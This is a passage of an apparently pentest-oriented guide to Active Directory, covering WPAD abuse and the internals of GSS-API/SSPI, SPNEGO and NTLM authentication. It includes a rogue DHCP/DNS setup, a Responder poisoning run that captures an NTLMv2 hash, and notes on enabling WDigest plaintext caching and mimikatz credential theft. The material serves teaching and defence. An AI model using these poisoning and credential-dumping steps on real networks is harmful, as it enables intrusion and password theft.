enterprise<br \/>\nenvironments, since many companies use proxies to watch its traffic. WPAD can be<br \/>\nconfigured in browsers or system settings, or even by <a href=\"https:\/\/tektab.com\/2012\/09\/26\/setting-up-web-proxy-autodiscovery-protocol-wpad-using-dns\/\">using a GPO<\/a>.<\/p>\n<p>To find the PAC, the browsers usually look for it in<br \/>\n<code>http:\/\/wpad.&lt;domain&gt;\/wpad.dat<\/code>. Another URL can also be set by <a href=\"#dhcp\">DHCP<\/a>.<\/p>\n<p>In order to resolve the <code>wpad.&lt;domain&gt;<\/code> the OS send a DNS request. In the<br \/>\npast, Windows machines use to send also an LLMNR or NetBIOS request if DNS fails,<br \/>\nbut since <a href=\"https:\/\/docs.microsoft.com\/en-us\/security-updates\/SecurityBulletins\/2016\/ms16-077\">MS16-077<\/a> security update, the broadcast resolution of WPAD is disabled.<\/p>\n<p>Moreover, you cannot create the <code>wpad<\/code> DNS record by using DNS dynamic updates<br \/>\nthrough DNS or DHCP, or directly with LDAP. This is because is protected by the<br \/>\n<a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/adidns-revisited\/\">Global Query Block List<\/a> (GQBL).<\/p>\n<p>So, even if in the past this attack was very popular, today your better chance<br \/>\nis to configure a malicious DNS server in the victim, by using DHCP or manually<br \/>\nto resolve <code>wpad<\/code> to your host.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ sudo dhcplayer server -I eth2 -v --domain contoso.local\nINFO - IP pool: 192.168.100.1-192.168.100.254\nINFO - Mask: 255.255.255.0\nINFO - Broadcast: 192.168.100.255\nINFO - DHCP: 192.168.100.44\nINFO - DNS: [192.168.100.44]\nINFO - Router: [192.168.100.44]\nINFO - Domain: contoso.local\nINFO - DISCOVER from 52:54:00:76:87:bb (ws01-10)\nINFO - Offer 192.168.100.121\nINFO - REQUEST from 52:54:00:76:87:bb (ws01-10)\nINFO - Requested IP 192.168.100.121\nINFO - ACK to 192.168.100.121 for 52:54:00:76:87:bb<\/code><\/pre><figcaption>\nConfigure a fake DNS server from DHCP<br \/>\n<\/figcaption><\/figure>\n<p>Additionally, it seems that <a href=\"https:\/\/pentest.blog\/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest\/\">in the past it was possible to ask for basic HTTP<br \/>\nauthentication<\/a> in the wpad request. However, I tried with different browsers<br \/>\n(IE, Edge, Firefox and Chrome) but I was unable to make it work. Only when NTLM<br \/>\nwas required (using responder.py) the victim browser downloads the wpad file.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ sudo responder -I eth2 -wF                                                                                                                               1 \u2a2f\n                                         __\n  .----.-----.-----.-----.-----.-----.--|  |.-----.----.\n  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|\n  |__| |_____|_____|   __|_____|__|__|_____||_____|__|\n                   |__|\n           NBT-NS, LLMNR &amp; MDNS Responder 3.0.6.0\n  Author: Laurent Gaffie (laurent.gaffie@gmail.com)\n  To kill this script hit CTRL-C\n[+] Poisoners:\n    LLMNR                      [ON]\n    NBT-NS                     [ON]\n    DNS\/MDNS                   [ON]\n[+] Servers:\n    HTTP server                [ON]\n    HTTPS server               [ON]\n    WPAD proxy                 [ON]\n    Auth proxy                 [OFF]\n.......\n[+] Poisoning Options:\n    Analyze Mode               [OFF]\n    Force WPAD auth            [ON]\n    Force Basic Auth           [OFF]\n    Force LM downgrade         [OFF]\n    Fingerprint hosts          [OFF]\n.......\n[+] Listening for events...\n[*] [DNS] A Record poisoned answer sent to: 192.168.100.121  Requested name: .wpad.contoso.local\n[HTTP] User-Agent        : Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36 Edg\/90.0.818.66\n[HTTP] User-Agent        : Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36 Edg\/90.0.818.66\n[HTTP] User-Agent        : Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36 Edg\/90.0.818.66\n[HTTP] User-Agent        : Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36 Edg\/90.0.818.66\n[HTTP] NTLMv2 Client   : 192.168.100.121\n[HTTP] NTLMv2 Username : CONTOSOmahyar\n[HTTP] NTLMv2 Hash     : mahyar::CONTOSO:bab86818f6898114:4E4B01D6F205A8BAED8383384C34E4BB:0101000000000000342A94C0D853D7018430129FD734A90600000000020008004E0032003200360001001E00570049004E002D003900330034004C0048004600510045004B0044004800040014004E003200320036002E004C004F00430041004C0003003400570049004E002D003900330034004C0048004600510045004B00440048002E004E003200320036002E004C004F00430041004C00050014004E003200320036002E004C004F00430041004C000800300030000000000000000100000000200000F160EE2502E164FA02569EF7A5CFA08BC2C34A7C4843E74A8E6E5A4683CF1EEA0A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000\n[HTTP] WPAD (auth) file sent to 192.168.100.121<\/code><\/pre><figcaption>\nServe WPAD file from Responder with NTLM auth<br \/>\n<\/figcaption><\/figure>\n<p>Apart from getting the <a href=\"#ntlm-hashes-cracking\">NTLM hash to crack<\/a>, this could be useful for <a href=\"#ntlm-relay\">NTLM relay<\/a><br \/>\nattacks, since the HTTP doesn&#8217;t required sign in NTLM and therefore it can be<br \/>\nused with any other protocol in NTLM cross-protocol relay attack.<\/p>\n<p>Moreover, to serve the PAC file to the victim will allow you to execute some<br \/>\njavascript code as the victim, which could be used to <a href=\"https:\/\/www.blackhat.com\/docs\/us-16\/materials\/us-16-Kotler-Crippling-HTTPS-With-Unholy-PAC.pdf\">exfiltrate the visited<br \/>\nURLs<\/a>.<\/p>\n<h2 id=\"authentication\">\nAuthentication<\/h2>\n<p>A critical point to understand many of the Active Directory attacks is to<br \/>\nunderstand how authentication works in Active Directory. But before digging into<br \/>\nthe technical details, let&#8217;s make a quick summary.<\/p>\n<p>In Active Directory there are two network authentication protocols available:<br \/>\n<a href=\"#ntlm\">NTLM<\/a> and <a href=\"#kerberos\">Kerberos<\/a>. Any of them can be used to authenticate domain users, but<br \/>\nKerberos is the preferred option for this case, however only NTLM can be used to<br \/>\nauthenticate local computer users.<\/p>\n<p>Since any of them can be used, how the client and server agree on the<br \/>\nauthentication protocol to be used? They use a negotiation mechanism called<br \/>\n<a href=\"#spnego\">SPNEGO<\/a>. With SPNEGO, they can indicate the protocols that are acceptable for<br \/>\nthem.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/spnego_negtokeninit2.png\" alt=\".\/spnego_negtokeninit2.png\" title=\".\/spnego_negtokeninit2.png\"><figcaption>\nSPNEGO negotiation<br \/>\n<\/figcaption><\/figure>\n<p>The protocols negotiated with SPNEGO must be compatible with the <a href=\"#gss-api\">GSS-API<\/a><br \/>\nprogramming interface, allowing the client and server programs to use them in a<br \/>\ntransparent way.<\/p>\n<p>But it also must be taken into account that authentication protocols are not<br \/>\nonly to being used to remote logons, but also for local logons, since the<br \/>\ncomputers need to authenticate the domain users against the Domain Controllers<br \/>\n(usually by asking a Kerberos ticket). There are different <a href=\"#logon-types\">logon types<\/a> in<br \/>\nWindows machines and they should be considered by a pentester, since many of<br \/>\nthem cache the user credentials in the lsass process or store the passwords in<br \/>\nthe LSA Secrets.<\/p>\n<p>So let&#8217;s review these topics.<\/p>\n<h3 id=\"gss-api\">\nGSS-API\/SSPI<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Generic_Security_Services_Application_Program_Interface\">GSS-API<\/a> (Generic Security Service Application Program Interface) is an<br \/>\napplication programming interface that defines procedures and types that can be<br \/>\nimplemented by security packages in order to provide authentication (not<br \/>\nauthorization) in a uniformed way. Is defined in <a href=\"https:\/\/tools.ietf.org\/html\/rfc2743\">RFC 2743<\/a>.<\/p>\n<p>The procedures and types for C programming language are defined in <a href=\"https:\/\/tools.ietf.org\/html\/rfc2744\">RFC 2744<\/a>.<br \/>\nThus, a library GSS-API compatible implements those methods and types. For<br \/>\nexample, the <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/appdev\/gssapi.html\">MIT Kerberos<\/a> library can be used by calling the GSS-API procedures<br \/>\ninstead of directly calling the Kerberos procedures. Some of the GSS-API<br \/>\nprocedures are:<\/p>\n<ul>\n<li>gss_acquire_cred: Returns a handle for credentials.<\/li>\n<li>gss_init_sec_context: Initiates a security context to be used with a peer.<\/li>\n<li>gss_accept_sec_context: Accepts the security context initiated by a peer.<\/li>\n<\/ul>\n<p>Furthermore, GSS-API also helps to maintain the integrity and confidentiality of<br \/>\na communication. GSS-API includes procedures to calculate\/verify a MIC (Message<br \/>\nIntegrity Code) for a message, as well as to encrypt\/decrypt the content. The<br \/>\nrelated procedures are the following:<\/p>\n<ul>\n<li>gss_get_mic: Calculate the MIC (Message Integrity Code) for a message.<\/li>\n<li>gss_verify_mic: Check the MIC to verify the message integrity.<\/li>\n<li>gss_wrap: Attach MIC to a message and optionally encrypt the message<br \/>\ncontent.<\/li>\n<li>gss_unwrap: Verify the MIC and decrypt the message content.<\/li>\n<\/ul>\n<p>This way, an user application can use different security libraries by just<br \/>\ncalling the GSS-API procedures, without changing the code for each library. For<br \/>\nexample, a program could use both Kerberos and NTLM authentication through<br \/>\nGSS-API.<\/p>\n<figure>\n<pre>                     .---------------------------.\n                     |   Kerberos Library        |\n                     .---            .----       |\n               .---&gt; | GSS-API  ---&gt; | Kerberos  |\n               |     '---            '----       |\n               |     |                           |\n .---------.   |     '---------------------------'\n |  user   |---|\n | program |   |     .---------------------------.\n '---------'   |     |       NTLM  Library       |\n               |     .---            .----       |\n               '---&gt; | GSS-API  ---&gt; | NTLM      |\n                     '---            '----       |\n                     |                           |\n                     '---------------------------'\n<\/pre><figcaption>\nProgram that can use Kerberos or NTLM authentication<br \/>\n<\/figcaption><\/figure>\n<p>Many different services in Windows uses the GSS-API in order to provide<br \/>\nauthentication through Kerberos or NTLM. Notwithstanding, Kerberos is not<br \/>\navailable in Workgroups, only in Active Directory, since is a centralized<br \/>\nauthentication protocol.<\/p>\n<p>Windows uses <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/sspi\">SSPI<\/a> (Security Support Provider Interface), which is a<br \/>\nMicrosoft propietary variant of GSS-API with some extensions. In fact, many<br \/>\nfunctions of SSPI are equivalent to GSS-API functions, like the following:<\/p>\n<figure>\n<table>\n<thead>\n<tr>\n<th>SSPI<\/th>\n<th>GSS-API<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/acquirecredentialshandle--general\">AcquireCredentialsHandle<\/a><\/td>\n<td>gss_acquire_cred<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/initializesecuritycontext--general\">InitializeSecurityContext<\/a><\/td>\n<td>gss_init_sec_context<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/acceptsecuritycontext--general\">AcceptSecurityContext<\/a><\/td>\n<td>gss_accept_sec_context<\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption>\nSSPI GSS-API functions equivalencies<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"windows-ssps\">\nWindows SSPs<\/h4>\n<p>In Windows there are different SSPs (Security Support Provider), in form of<br \/>\nDLLs, that implement the SSPI and can be used by different applications.<br \/>\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Security_Support_Provider_Interface\">Some SSPs<\/a> are the following:<\/p>\n<h5 id=\"kerberos-ssp\">\nKerberos SSP<\/h5>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/microsoft-kerberos\">Kerberos SSP<\/a> (kerberos.dll) manages the Kerberos authentication. It<br \/>\nalso responsible for caching the Kerberos tickets and keys.<\/p>\n<h5 id=\"ntlm-ssp\">\nNTLM SSP<\/h5>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/microsoft-ntlm\">NTLMSSP<\/a> (msv1_0.dll) manages NTLM authentication. It is responsible for<br \/>\ncaching the NT hashes that can be extracted by mimikatz from the lsass process.<\/p>\n<h5 id=\"negotiate-ssp\">\nNegotiate SSP<\/h5>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/microsoft-negotiate\">Negotiate<\/a> SSP (secur32.dll) is an intermediary SSP that manages the <a href=\"#spnego\">SPNEGO<\/a><br \/>\nnegotiation and delegates the authentication to Kerberos SSP or NTLM SSP, based<br \/>\non the negotiation result.<\/p>\n<figure>\n<pre>                                             Kerberos\n                                         .-------------------------.\n                                         |      kerberos.dll       |\n                                         |-------------------------|\n                                         .---           .----      |\n                   Negotiate       .---&gt; | GSS-API ---&gt; | Kerberos |\n                 .-------------.   |     '---           '----      |\n                 | secur32.dll |   |     |                         |\n                 |-------------|   |     '-------------------------'\n .---------.     .---          |   |\n |  user   |----&gt;| GSS-API ----|&gt;--|\n | program |     '---          |   |         NTLM\n '---------'     |             |   |     .-------------------------.\n                 '-------------'   |     |       msv1_0.dll        |\n                                   |     |-------------------------|\n                                   |     .---           .----      |\n                                   '---&gt; | GSS-API ---&gt; | NTLM     |\n                                         '---           '----      |\n                                         |                         |\n                                         '-------------------------'\n<\/pre><figcaption>\nProgram that uses Negotiate (SPNEGO)<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"digest-ssp\">\nDigest SSP<\/h5>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/microsoft-digest-ssp\">Digest<\/a> (wdigest.dll) implements the Digest Access protocol. Used for HTTP.<br \/>\nThis is the SSP that caches the plaintext password in old operating systems that<br \/>\ncan be retrieved by mimikatz.<\/p>\n<p>Even if the password caching is disabled by default since Windows 2008 R2, it is<br \/>\nstill possible to enable the password caching by setting the<br \/>\n<code>HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential<\/code><br \/>\nregistry entry to 1 or <a href=\"https:\/\/blog.xpnsec.com\/exploring-mimikatz-part-1\/\">patching the Digest SSP<\/a> directly in memory.<\/p>\n<h5 id=\"secure-channel-ssp\">\nSecure Channel SSP<\/h5>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/secure-channel\">Secure Channel<\/a> (schannel.dll) provide encrypted communications. It is used<br \/>\nto add SSL\/TLS layer to HTTP communications.<\/p>\n<h5 id=\"cred-ssp\">\nCred SSP<\/h5>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/credential-security-support-provider\">CredSSP<\/a> (credssp.dll) creates a TLS channel, authenticates the client<br \/>\nthrough negotiate SSP, and finally allows the client to send the user full<br \/>\ncredentials to the server. It is used by <a href=\"#rdp\">RDP<\/a>.<\/p>\n<h5 id=\"custom-ssps\">\nCustom SSPs<\/h5>\n<p>Moreover, also third parties can add its own <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/custom-security-packages\">custom SSP<\/a>, in the registry key<br \/>\n<code>HKLMSYSTEMCurrentControlSetControlLsaSecurity Packages<\/code>. The SSP can also<br \/>\nbe an <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/ssp-aps-versus-ssps#sspaps\">AP<\/a> (Authentication Package), that is used by logon applications. Actually,<br \/>\nthe registration of an SSP\/AP is a technique used by <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a> to <a href=\"https:\/\/www.hackingarticles.in\/credential-dumping-security-support-provider-ssp\/\">steal passwords<\/a>.<\/p>\n<h3 id=\"spnego\">\nSPNEGO<\/h3>\n<p>SPNEGO (Simple and Protected GSS-API Negotiation) is a mechanism that allows to<br \/>\nclient-server applications to negotiatite the underlying security protocol, that<br \/>\nis GSS-API compatible, used by the application. This way, both client (also known as<br \/>\ninitiator in <a href=\"https:\/\/tools.ietf.org\/html\/rfc4178\">RFC 4178<\/a>) and server (known as acceptor), can establish the same GSS context<br \/>\n(by calling GSS_Init_sec_context).<\/p>\n<p>The process for SPNEGO is basically the following:<\/p>\n<ol>\n<li>The client (initiator) calls to <em>GSS_Init_sec_context<\/em> and indicates that<br \/>\nSPNEGO is going to be used. Then a list with options of security mechanism is<br \/>\nreturned (mechTypes) and optionally an initial token for the preferred<br \/>\nmechanism (mechToken). This information is sent to the server (acceptor) in<br \/>\nthe message <em>NegTokenInit<\/em>.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/spnego_negtokeninit.png\" alt=\".\/spnego_negtokeninit.png\" title=\".\/spnego_negtokeninit.png\"><figcaption>\nSPNEGO NegTokenInit with Kerberos initial token<br \/>\n<\/figcaption><\/figure>\n<\/li>\n<\/ol>\n<ol>\n<li>The server application passes the initial token and list of security<br \/>\nmechanisms to <em>GSS_Accept_sec_context<\/em>. Then one of the following<br \/>\nresults is returned and sent in a <em>NegTokenResp<\/em> message (<em>NegTokenResp<\/em><br \/>\nis the same that <em>NegTokenTarg<\/em> shown by Wireshark):<\/p>\n<ol>\n<li>None of the security mechanisms is accepted. The server rejects the<br \/>\nnegotiation.<\/li>\n<li>If the selected security mechanism is the preferred by the client, the<br \/>\nreceived token is used. A negotiation token containing an<br \/>\n<em>accept-complete<\/em> state is created.<\/li>\n<li>Other mechanism than the preferred mechanism is selected, therefore a<br \/>\nnegotiation token with <em>accept-incompleted<\/em> or <em>request-mic<\/em> state is<br \/>\ncreated.<\/li>\n<\/ol>\n<figure>\n<img decoding=\"async\" src=\".\/spnego_negtokentarg.png\" alt=\".\/spnego_negtokentarg.png\" title=\".\/spnego_negtokentarg.png\"><figcaption>\nSPNEGO NegTokenResp with accept-complete response<br \/>\n<\/figcaption><\/figure>\n<\/li>\n<li>If the negotiation is returned to the client, then this passes it to<br \/>\n<em>GSS_Init_sec_context<\/em> and analyzes it. The negotiation continues until both<br \/>\nclient and server agree in a security mechanism and options.<\/li>\n<\/ol>\n<figure>\n<pre>                                     Client              Server\n                                        |                 |\n GSS_Init_sec_context(SPNEGO=True) &lt;--- |                 |\n                                   ---&gt; |   NegTokenInit  |\n                            1) Kerberos | --------------&gt; |  \n                               (Token)  |    Security?    |  \n                            2) NTLM     |    1) Kerberos  |\n                                        |       (Token)   |\n                                        |    2) NTLM      | Kerberos (Token)\n                                        |                 | ---&gt; GSS_Accept_sec_context()\n                                        |   NegTokenResp  | &lt;---\n                                        | &lt;-------------- | (Token)\n                                        |     (Token)     | accept-complete\n                                  Token | accept-complete |\n            GSS_Init_sec_context() &lt;--- |                 | \n                                        |                 |\n                                        |                 |\n<\/pre><figcaption>\nSPNEGO negotiation<br \/>\n<\/figcaption><\/figure>\n<p>Windows uses SPNEGO through the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/microsoft-negotiate\">Negotiate SSP<\/a>. This allows services like SMB to<br \/>\nuse Kerberos or NTLM authentication. Kerberos is mainly used to authenticate<br \/>\ndomain users whereas NTLM allows to<br \/>\nauthenticate local computer users. Usually, there is a third option called<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-negoex\">NEGOEX<\/a>, that allows to amplify the SPNEGO options, but I never seem this option<br \/>\nbeing used.<\/p>\n<p>Actually, Windows uses an extension for SPNEGO, <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-spng\/f377a379-c24f-4a0f-a3eb-0d835389e28a\">SPNG<\/a>. This extension includes<br \/>\nimprovements to SPNEGO, like a new message called <em>NegTokenInit2<\/em> that allows<br \/>\nthe server to init the SPNEGO negotiation.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/spnego_negtokeninit2.png\" alt=\".\/spnego_negtokeninit2.png\" title=\".\/spnego_negtokeninit2.png\"><figcaption>\nSPNEGO negotiation<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"ntlm\">\nNTLM<\/h3>\n<h4 id=\"ntlm-basics\">\nNTLM Basics<\/h4>\n<p><a href=\"http:\/\/davenport.sourceforge.net\/ntlm.html\">NTLM<\/a> (NT LAN Manager) is an authentication protocol that can be used by Windows<br \/>\nservices in order to verify the identity of the client. NTLM is implemented in<br \/>\nthe <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/microsoft-ntlm\">NTLM SSP<\/a>, and apart from authentication, it also allows to protect the<br \/>\ncommunication by signing and\/or encrypting the messages.<\/p>\n<p>Before discuss about NTLM, there are some concepts that it is important to not<br \/>\nconfuse:<\/p>\n<ul>\n<li><strong>NTLM<\/strong>: The network protocol used to authenticate users in remote machines. It<br \/>\nis also known as Net-NTLM.<\/li>\n<li><strong>NTLMv1<\/strong>: The version 1 of NTLM. It is also known as Net-NTLMv1.<\/li>\n<li><strong>NTLMv2<\/strong>: The version 2 of NTLM, it differs from NTLMv1 in the way the session<br \/>\nkey and NTLM hash is calculated. It is also known as Net-NTLMv2.<\/li>\n<li><strong>NTLM2<\/strong>: Is the NTLMv1 with enhanced security, but still weaker than NTLMv2.<\/li>\n<li><strong>NTLM hash\/response<\/strong>: The response to the server challenge, calculated from<br \/>\nthe NT hash. It is also known as Net-NTLM hash and NTLM response.<\/li>\n<li><strong>NTLMv1 hash<\/strong>: The NTLM hash created by NTLMv1.<\/li>\n<li><strong>NTLMv2 hash<\/strong>: The NTLM hash created by NTLMv2.<\/li>\n<li><a href=\"#lm-nt-hashes\">NT hash<\/a> : A hash derivated from the user password, used as secret for the<br \/>\nNTLM authentication. It is usually called the NTLM hash, but this name is not<br \/>\ncorrect, since the NTLM hash is the one produced by the NTLM protocol.<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/LAN_Manager#LM_hash_details\">LM hash<\/a>: The older LAN Manager hash derived from user password, is obsolete<br \/>\nand not widely used. Pretty easy to crack.<\/li>\n<li><strong>LM Response<\/strong>: The LM response to the server challenge, by using the LM hash<br \/>\nto calculate it. In can be used in conjuction with the NTLM response. This<br \/>\nresponse is obsolete.<\/li>\n<li><strong>LMv1<\/strong>: The version 1 of the LM Response.<\/li>\n<li><strong>LMv2<\/strong>: The version 2 of the LM Response.<\/li>\n<\/ul>\n<p>The first thing to know is that NTLM is not an isolated protocol that generates<br \/>\nnetwork traffic, but must be used embebed in an application protocol, such as<br \/>\n<a href=\"#smb\">SMB<\/a>, <a href=\"#ldap\">LDAP<\/a> or <a href=\"#http\">HTTP<\/a>.<\/p>\n<p>Moreover, NTLM can be used in both Active Directory and Workgroups networks. In<br \/>\nActive Directory, for domain users, the preferred authentication protocol is<br \/>\nKerberos, but NTLM can be used, whereas computer local users can only be<br \/>\nauthenticated remotely with NTLM. Therefore, even if <a href=\"http:\/\/woshub.com\/disable-ntlm-authentication-windows\/\">it is possible to disable<br \/>\nNTLM in a domain<\/a>, is <a href=\"https:\/\/syfuhs.net\/killing-ntlm-is-hard\">still present in most networks<\/a> nowadays.<\/p>\n<p>The NTLM authentication is composed by 3 messages\/phases: NEGOTIATE, CHALLENGE<br \/>\nand AUTHENTICATE.<\/p>\n<figure>\n<pre>client               server\n  |                    |\n  |                    |\n  |     NEGOTIATE      |\n  | -----------------&gt; |\n  |                    |\n  |     CHALLENGE      |\n  | &lt;----------------- |\n  |                    |\n  |    AUTHENTICATE    |\n  | -----------------&gt; |\n  |                    |\n  |    application     |\n  |      messages      |\n  | -----------------&gt; |\n  | &lt;----------------- |\n  | -----------------&gt; |\n  |                    |\n<\/pre><figcaption>\nNTLM authentication<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>Firstly, the client, after initiating the security context, by calling<br \/>\n<code>InitializeSecurityContext<\/code> of the NTLM SSP, sends a NEGOTIATE message to the<br \/>\nserver. It indicates security options, like the NTLM version to use.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/ntlm_negotiate.png\" alt=\".\/ntlm_negotiate.png\" title=\".\/ntlm_negotiate.png\"><figcaption>\nNTLM negotiate message<br \/>\n<\/figcaption><\/figure>\n<\/li>\n<li>The server generates a challenge by calling <code>AcceptSecurityContext<\/code> of<br \/>\nthe NTLM SSP, and sends it to the client within a CHALLENGE message. Also<br \/>\nconfirms the negotiated options and sends information about its computer name<br \/>\nand version and domain name.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/ntlm_challenge.png\" alt=\".\/ntlm_challenge.png\" title=\".\/ntlm_challenge.png\"><figcaption>\nNTLM challenge message<br \/>\n<\/figcaption><\/figure>\n<\/li>\n<li>The client receives the challenge and pases it to <code>InitializeSecurityContext<\/code><br \/>\nin order to calculate a response by using the client key (NT hash). If it is<br \/>\nrequired, it also creates a session key and encrypts it with a key, known as<br \/>\nsession base key, derivated from NT hash. The client sends the response and<br \/>\nsession key back to the server. Also sends <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/83f5e789-660d-4781-8491-5f8c6641f75e\">different attributes<\/a> known as<br \/>\nav_pairs, like information about its computer name and version and domain<br \/>\nname and the negotiate flags. Moreover, the message includes a MIC (Message<br \/>\nIntegrity Code) to avoid tampering.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/ntlm_authenticate.png\" alt=\".\/ntlm_authenticate.png\" title=\".\/ntlm_authenticate.png\"><figcaption>\nNTLM authenticate message<br \/>\n<\/figcaption><\/figure>\n<\/li>\n<li>Finally, the server verifies that the challenge response is correct<br \/>\n(<code>AcceptSecurityContext<\/code>) and a security session\/context is setup. Following<br \/>\nmessages will be encrypted\/signed with the session key.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/spnego_negtokentarg.png\" alt=\".\/spnego_negtokentarg.png\" title=\".\/spnego_negtokentarg.png\"><figcaption>\nAuthentication completed<br \/>\n<\/figcaption><\/figure>\n<\/li>\n<\/ol>\n<figure>\n<pre>                         client               server\n                           |                    |\n AcquireCredentialsHandle  |                    |\n           |               |                    |\n           v               |                    |\n InitializeSecurityContext |                    |\n           |               |     NEGOTIATE      |\n           '-------------&gt; | -----------------&gt; | ----------.\n                           |     - flags        |           |\n                           |                    |           v\n                           |                    | AcceptSecurityContext\n                           |                    |           |\n                           |                    |       challenge\n                           |     CHALLENGE      |           |\n           .-------------- | &lt;----------------- | &lt;---------'\n           |               |   - flags          |\n       challenge           |   - challenge      |\n           |               |   - server info    |\n           v               |                    |\n InitializeSecurityContext |                    |\n       |       |           |                    |\n    session  response      |                    |\n      key      |           |    AUTHENTICATE    |\n       '-------'---------&gt; | -----------------&gt; | ------.--------.\n                           |   - response       |       |        |\n                           |   - session key    |       |        |\n                           |     (encrypted)    |   response  session\n                           |   - attributes     |       |       key\n                           |     + client info  |       |        |\n                           |     + flags        |       v        v\n                           |   - MIC            | AcceptSecurityContext\n                           |                    |           |\n                           |                    |           v\n                           |                    |           OK\n                           |                    |\n<\/pre><figcaption>\nNTLM authentication process<br \/>\n<\/figcaption><\/figure>\n<p>The NTLM authentication process is handled by the <a href=\"#ntlm-ssp\">NTLM SSP<\/a>, independently of the<br \/>\napplication protocol that uses it. Also, it must be notice that in order to<br \/>\nproof its identity the client must have a key. The key used in NTLM<br \/>\nauthentication is the <a href=\"#lm-nt-hashes\">NT hash<\/a> of the user that acts as client (also LM hash is<br \/>\nused in NTLMv1).<\/p>\n<p>Nevertheless, in NTLM, the NT hash is not transmitted over the network, but is<br \/>\nonly used to calculate the NTLM response to the server challenge and the session<br \/>\nkey. The NTLM response is also known as the NTLM hash (also called Net-NTLM<br \/>\nhash). The calculation of the NTLM hash depends on the version of the NTLM<br \/>\nprotocol.<\/p>\n<blockquote><p>When NTLM is used, the credentials are not transmitted over the network, so they<br \/>\nare not cached in the target machine. Therefore, they cannot be retrieved with<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a>.<\/p><\/blockquote>\n<p>Currently there are 2 versions of the NTLM protocol: <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/464551a8-9fc4-428e-b3d3-bc5bfb2e73a5\">NTLMv1<\/a> and <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/5e550938-91d4-459f-b67d-75d70009e3f3\">NTLMv2<\/a>. The<br \/>\nversion to being used <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/5e550938-91d4-459f-b67d-75d70009e3f3\">is not negotiated in the transmission<\/a> but <a href=\"http:\/\/woshub.com\/disable-ntlm-authentication-windows\/\">must be<br \/>\nconfigured properly in client and server<\/a>.<\/p>\n<p>However, in the NTLM messages other security parameters are <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nlmp\/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832\">negotiated<\/a> like:<\/p>\n<ul>\n<li>Session signing. Useful to prevent <a href=\"#ntlm-relay\">NTLM Relay<\/a> attacks<\/li>\n<li>Session sealingencryption. Not commonly used.<\/li>\n<li>Generate LM response. In case LM response is not required, it will not be<br \/>\nprocessed by the server.<\/li>\n<li>Use of NTLMv2 or NTLMv1 session security. The session security is not the<br \/>\nauthentication version, but an extension to improve the security of NTLMv1<br 